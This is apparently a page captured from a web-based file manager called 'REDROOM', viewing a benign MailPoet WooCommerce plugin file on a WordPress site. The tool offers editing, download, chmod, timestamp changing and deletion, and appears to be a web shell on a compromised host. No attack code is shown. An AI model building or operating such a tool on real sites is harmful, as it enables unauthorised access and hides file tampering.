REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 1.20 KB
Close
/home/nshryvcy/himaltourism.com/wp-content/plugins/mailpoet/lib/AutomaticEmails/WooCommerce/WooCommerceEventFactory.php
Text
Base64
<?php declare(strict_types = 1); namespace MailPoet\AutomaticEmails\WooCommerce; if (!defined('ABSPATH')) exit; use MailPoet\AutomaticEmails\WooCommerce\Events\AbandonedCart; use MailPoet\AutomaticEmails\WooCommerce\Events\FirstPurchase; use MailPoet\AutomaticEmails\WooCommerce\Events\PurchasedInCategory; use MailPoet\AutomaticEmails\WooCommerce\Events\PurchasedProduct; use MailPoet\DI\ContainerWrapper; use MailPoetVendor\Symfony\Component\DependencyInjection\Exception\ServiceNotFoundException; class WooCommerceEventFactory { public const EVENTS_MAP = [ 'AbandonedCart' => AbandonedCart::class, 'FirstPurchase' => FirstPurchase::class, 'PurchasedInCategory' => PurchasedInCategory::class, 'PurchasedProduct' => PurchasedProduct::class, ]; /** @var ContainerWrapper */ private $container; public function __construct( ContainerWrapper $container ) { $this->container = $container; } /** @return object|null */ public function createEvent(string $eventName) { $eventClass = self::EVENTS_MAP[$eventName] ?? null; try { return $eventClass ? $this->container->get($eventClass) : null; } catch (ServiceNotFoundException $e) { return null; } } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 1 × Files: 3
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
Events
DIR
-
drwxr-xr-x
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
index.php
0 B
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
WooCommerce.php
3.23 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
WooCommerceEventFactory.php
1.20 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).